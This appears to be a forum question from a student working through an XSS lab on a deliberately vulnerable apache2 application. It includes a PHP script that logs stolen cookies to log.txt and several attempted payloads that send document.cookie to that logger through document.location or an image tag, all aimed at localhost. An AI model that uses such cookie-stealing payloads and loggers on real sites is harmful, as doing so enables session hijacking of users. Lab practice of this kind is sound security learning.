I am practicing some XSS on a vulnerable apache2 web application and having some issues getting the user's cookie information.
I am following the instructions in this Lab for the XSS Attack.
We are given a malicious webpage:
<html>
<head>
<h2>This page has malicious links</h2>
</head>
<body>
First look at this one. This link's text and the actual link behind it are different. You can notice that by hovering the mouse on the link and noting the actual referral location on the status bar.
<a href="#">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
</body>
</html>
and in the same directory as the webpage we have a php file:
<?php
$f = fopen("log.txt","a");
$referrer = "\n".$_SERVER['HTTP_REFERER']."\n";
$cookie = "info=".$_GET['info']."\n";
fwrite($f, $referrer);
fwrite($f, $cookie);
fclose($f);
?>
The goal is to edit the "#"
in the href so that whenever it is clicked it send the credentials to the server IP address I input (in this case I am using localhost). I am supposed to use an http GET request with the following format http://localhost/stealcookie.php?info=COOKIES
where COOKIES
is the complete cookie content saved on the browser (i.e. document.cookie). The hint was to replace the current href value "#"
with a piece of JavaScript code. So far I have tried the following:
<a href="<script>document.location='http://localhost/XSS/stealcookie.php?cookie='.concat(escape(document.cookie));</script>">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
<a href="http://localhost/XSS/stealcookie.php?query=<script>document.location='http://localhost/XSS/stealcookie.php?cookie='.concat(escape(document.cookie));</script>">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
<a href="http://localhost/XSS/stealcookie.php?info=<script>document.location='http://localhost/XSS/stealcookie.php?cookie='.concat(escape(document.cookie));</script>">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
<script>document.write('<img src="http://localhost/stealcookie.php?cookie=' + document.cookie + '"/>')</script>
I am trying to figure out what I am doing wrong since the cookie is not saving to the log.txt
file on my local machine.
sudo chown -R $USER:$USER /var/www/html/XSS/
sudo chmod -R 755 /var/www/html/XSS/